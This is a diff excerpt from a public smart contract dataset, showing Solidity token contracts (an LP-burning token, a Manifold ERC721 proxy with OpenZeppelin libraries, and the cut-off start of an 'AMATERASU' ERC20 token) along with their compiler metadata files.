}
|
1542 |
+
|
1543 |
+
function setAutoLPBurnSettings(
|
1544 |
+
uint256 _frequencyInSeconds,
|
1545 |
+
uint256 _percent,
|
1546 |
+
bool _Enabled
|
1547 |
+
) external onlyOwner {
|
1548 |
+
require(
|
1549 |
+
_frequencyInSeconds >= 600,
|
1550 |
+
"cannot set buyback more often than every 10 minutes"
|
1551 |
+
);
|
1552 |
+
require(
|
1553 |
+
_percent <= 1000 && _percent >= 0,
|
1554 |
+
"Must set auto LP burn percent between 0% and 10%"
|
1555 |
+
);
|
1556 |
+
lpBurnFrequency = _frequencyInSeconds;
|
1557 |
+
percentForLPBurn = _percent;
|
1558 |
+
lpBurnEnabled = _Enabled;
|
1559 |
+
}
|
1560 |
+
|
1561 |
+
function autoBurnLiquidityPairTokens() internal returns (bool) {
|
1562 |
+
lastLpBurnTime = block.timestamp;
|
1563 |
+
|
1564 |
+
// get balance of liquidity pair
|
1565 |
+
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
|
1566 |
+
|
1567 |
+
// calculate amount to burn
|
1568 |
+
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
|
1569 |
+
10000
|
1570 |
+
);
|
1571 |
+
|
1572 |
+
// pull tokens from pancakePair liquidity and move to dead address permanently
|
1573 |
+
if (amountToBurn > 0) {
|
1574 |
+
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
|
1575 |
+
}
|
1576 |
+
|
1577 |
+
//sync price since this is not in a swap transaction!
|
1578 |
+
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
|
1579 |
+
pair.sync();
|
1580 |
+
emit AutoNukeLP();
|
1581 |
+
return true;
|
1582 |
+
}
|
1583 |
+
|
1584 |
+
function manualBurnLiquidityPairTokens(uint256 percent)
|
1585 |
+
external
|
1586 |
+
onlyOwner
|
1587 |
+
returns (bool)
|
1588 |
+
{
|
1589 |
+
require(
|
1590 |
+
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
|
1591 |
+
"Must wait for cooldown to finish"
|
1592 |
+
);
|
1593 |
+
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
|
1594 |
+
lastManualLpBurnTime = block.timestamp;
|
1595 |
+
|
1596 |
+
// get balance of liquidity pair
|
1597 |
+
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
|
1598 |
+
|
1599 |
+
// calculate amount to burn
|
1600 |
+
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
|
1601 |
+
|
1602 |
+
// pull tokens from pancakePair liquidity and move to dead address permanently
|
1603 |
+
if (amountToBurn > 0) {
|
1604 |
+
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
|
1605 |
+
}
|
1606 |
+
|
1607 |
+
//sync price since this is not in a swap transaction!
|
1608 |
+
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
|
1609 |
+
pair.sync();
|
1610 |
+
emit ManualNukeLP();
|
1611 |
+
return true;
|
1612 |
+
}
|
1613 |
+
}
|
organized_contracts/00/00069936619801b0e6801aad2ccc146441de9568a1836ba002eaf5ae1c26b641/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"WorldCupDoge","CompilerVersion":"v0.8.10+commit.fc410830","Runs":200,"OptimizationUsed":false,"BytecodeHash":"00069936619801b0e6801aad2ccc146441de9568a1836ba002eaf5ae1c26b641"}
|
organized_contracts/00/0007320b85e8d59d8f00a1e7d9a97efc7c58641300ff50cb7a7ead9829fde4dd/contract.json
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"sources": {
|
4 |
+
"contracts/Arlll.sol": {
|
5 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: Nightmares are here!\n/// @author: manifold.xyz\n\nimport \"./manifold/ERC721Creator.sol\";\n\n//////////////////////////////////////////////////////////////////\n// //\n// //\n// //\n// _____ .__ .__ .__ //\n// / _ \\_______ _____ ____ ___.__.| | | | | | //\n// / /_\\ \\_ __ \\/ \\ / < | || | | | | | //\n// / | \\ | \\/ Y Y \\ | \\___ || |_| |_| |__ //\n// \\____|__ /__| |__|_| /___| / ____||____/____/____/ //\n// \\/ \\/ \\/\\/ //\n// //\n// //\n// //\n//////////////////////////////////////////////////////////////////\n\n\ncontract Arlll is ERC721Creator {\n constructor() ERC721Creator(\"Nightmares are here!\", \"Arlll\") {}\n}\n"
|
6 |
+
},
|
7 |
+
"contracts/manifold/ERC721Creator.sol": {
|
8 |
+
"content": "\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC721Creator is Proxy {\n \n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x2d3fC875de7Fe7Da43AD0afa0E7023c9B91D06b1;\n Address.functionDelegateCall(\n 0x2d3fC875de7Fe7Da43AD0afa0E7023c9B91D06b1,\n abi.encodeWithSignature(\"initialize(string,string)\", name, symbol)\n );\n }\n \n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
|
9 |
+
},
|
10 |
+
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
|
11 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
|
12 |
+
},
|
13 |
+
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
|
14 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
|
15 |
+
},
|
16 |
+
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
|
17 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n}\n"
|
18 |
+
}
|
19 |
+
},
|
20 |
+
"settings": {
|
21 |
+
"remappings": [
|
22 |
+
"@openzeppelin/=node_modules/@openzeppelin/"
|
23 |
+
],
|
24 |
+
"optimizer": {
|
25 |
+
"enabled": true,
|
26 |
+
"runs": 300
|
27 |
+
},
|
28 |
+
"metadata": {
|
29 |
+
"bytecodeHash": "ipfs"
|
30 |
+
},
|
31 |
+
"outputSelection": {
|
32 |
+
"*": {
|
33 |
+
"*": [
|
34 |
+
"evm.bytecode",
|
35 |
+
"evm.deployedBytecode",
|
36 |
+
"devdoc",
|
37 |
+
"userdoc",
|
38 |
+
"metadata",
|
39 |
+
"abi"
|
40 |
+
]
|
41 |
+
}
|
42 |
+
},
|
43 |
+
"evmVersion": "london",
|
44 |
+
"libraries": {}
|
45 |
+
}
|
46 |
+
}
|
organized_contracts/00/0007320b85e8d59d8f00a1e7d9a97efc7c58641300ff50cb7a7ead9829fde4dd/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"Arlll","CompilerVersion":"v0.8.17+commit.8df45f5f","Runs":300,"OptimizationUsed":true,"BytecodeHash":"0007320b85e8d59d8f00a1e7d9a97efc7c58641300ff50cb7a7ead9829fde4dd"}
|
organized_contracts/00/000768667f54a9fb7659e594f789d4ef3975505633b5eef967ce9c17a344aa3b/main.sol
ADDED
@@ -0,0 +1,594 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
//AMATERASU - Sun Goddess with the highest deity
|
4 |
+
//https://medium.com/@amaterasuerc20
|
5 |
+
|
6 |
+
// SPDX-License-Identifier: unlicense
|
7 |
+
|
8 |
+
pragma solidity ^0.8.15;
|
9 |
+
|
10 |
+
abstract contract Context
|
11 |
+
{
|
12 |
+
function _msgSender() internal view virtual returns (address) {
|
13 |
+
return msg.sender;
|
14 |
+
}
|
15 |
+
}
|
16 |
+
|
17 |
+
interface IERC20 {
|
18 |
+
function totalSupply() external view returns (uint256);
|
19 |
+
|
20 |
+
function balanceOf(address account) external view returns (uint256);
|
21 |
+
|
22 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
23 |
+
|
24 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
25 |
+
|
26 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
27 |
+
|
28 |
+
function transferFrom(
|
29 |
+
address sender,
|
30 |
+
address recipient,
|
31 |
+
uint256 amount
|
32 |
+
) external returns (bool);
|
33 |
+
|
34 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
35 |
+
event Approval(
|
36 |
+
address indexed owner,
|
37 |
+
address indexed spender,
|
38 |
+
uint256 value
|
39 |
+
);
|
40 |
+
}
|
41 |
+
|
42 |
+
contract Ownable is Context {
|
43 |
+
address private _owner;
|
44 |
+
address private _previousOwner;
|
45 |
+
event OwnershipTransferred(
|
46 |
+
address indexed previousOwner,
|
47 |
+
address indexed newOwner
|
48 |
+
);
|
49 |
+
|
50 |
+
constructor() {
|
51 |
+
address msgSender = _msgSender();
|
52 |
+
_owner = msgSender;
|
53 |
+
emit OwnershipTransferred(address(0), msgSender);
|
54 |
+
}
|
55 |
+
|
56 |
+
function owner() public view returns (address) {
|
57 |
+
return _owner;
|
58 |
+
}
|
59 |
+
|
60 |
+
modifier onlyOwner() {
|
61 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
62 |
+
_;
|
63 |
+
}
|
64 |
+
|
65 |
+
function renounceOwnership() public virtual onlyOwner {
|
66 |
+
emit OwnershipTransferred(_owner, address(0));
|
67 |
+
_owner = address(0);
|
68 |
+
}
|
69 |
+
|
70 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
71 |
+
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
72 |
+
emit OwnershipTransferred(_owner, newOwner);
|
73 |
+
_owner = newOwner;
|
74 |
+
}
|
75 |
+
|
76 |
+
}
|
77 |
+
|
78 |
+
library SafeMath {
|
79 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
80 |
+
uint256 c = a + b;
|
81 |
+
require(c >= a, "SafeMath: addition overflow");
|
82 |
+
return c;
|
83 |
+
}
|
84 |
+
|
85 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
86 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
87 |
+
}
|
88 |
+
|
89 |
+
function sub(
|
90 |
+
uint256 a,
|
91 |
+
uint256 b,
|
92 |
+
string memory errorMessage
|
93 |
+
) internal pure returns (uint256) {
|
94 |
+
require(b <= a, errorMessage);
|
95 |
+
uint256 c = a - b;
|
96 |
+
return c;
|
97 |
+
}
|
98 |
+
|
99 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
100 |
+
if (a == 0) {
|
101 |
+
return 0;
|
102 |
+
}
|
103 |
+
uint256 c = a * b;
|
104 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
105 |
+
return c;
|
106 |
+
}
|
107 |
+
|
108 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
109 |
+
return div(a, b, "SafeMath: division by zero");
|
110 |
+
}
|
111 |
+
|
112 |
+
function div(
|
113 |
+
uint256 a,
|
114 |
+
uint256 b,
|
115 |
+
string memory errorMessage
|
116 |
+
) internal pure returns (uint256) {
|
117 |
+
require(b > 0, errorMessage);
|
118 |
+
uint256 c = a / b;
|
119 |
+
return c;
|
120 |
+
}
|
121 |
+
}
|
122 |
+
|
123 |
+
interface IUniswapV2Factory {
|
124 |
+
function createPair(address tokenA, address tokenB)
|
125 |
+
external
|
126 |
+
returns (address pair);
|
127 |
+
}
|
128 |
+
|
129 |
+
interface IUniswapV2Router02 {
|
130 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
131 |
+
uint256 amountIn,
|
132 |
+
uint256 amountOutMin,
|
133 |
+
address[] calldata path,
|
134 |
+
address to,
|
135 |
+
uint256 deadline
|
136 |
+
) external;
|
137 |
+
|
138 |
+
function factory() external pure returns (address);
|
139 |
+
|
140 |
+
function WETH() external pure returns (address);
|
141 |
+
|
142 |
+
function addLiquidityETH(
|
143 |
+
address token,
|
144 |
+
uint256 amountTokenDesired,
|
145 |
+
uint256 amountTokenMin,
|
146 |
+
uint256 amountETHMin,
|
147 |
+
address to,
|
148 |
+
uint256 deadline
|
149 |
+
)
|
150 |
+
external
|
151 |
+
payable
|
152 |
+
returns (
|
153 |
+
uint256 amountToken,
|
154 |
+
uint256 amountETH,
|
155 |
+
uint256 liquidity
|
156 |
+
);
|
157 |
+
}
|
158 |
+
|
159 |
+
contract AMATERASU is Context, IERC20, Ownable {
|
160 |
+
|
161 |
+
using SafeMath for uint256;
|
162 |
+
|
163 |
+
string private constant _name = "Sun Goddess";
|
164 |
+
string private constant _symbol = "AMATERASU";
|
165 |
+
uint8 private constant _decimals = 9;
|
166 |
+
|
167 |
+
mapping(address => uint256) private _rOwned;
|
168 |
+
mapping(address => uint256) private _tOwned;
|
169 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
170 |
+
mapping(address => bool) private _isExcludedFromFee;
|
171 |
+
uint256 private constant MAX = ~uint256(0);
|
172 |
+
uint256 private constant _tTotal = 10000000000 * 10**9;
|
173 |
+
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
174 |
+
uint256 private _tFeeTotal;
|
175 |
+
uint256 public launchBlock;
|
176 |
+
|
177 |
+
uint256 private _redisFeeOnBuy = 0;
|
178 |
+
uint256 private _taxFeeOnBuy = 20;
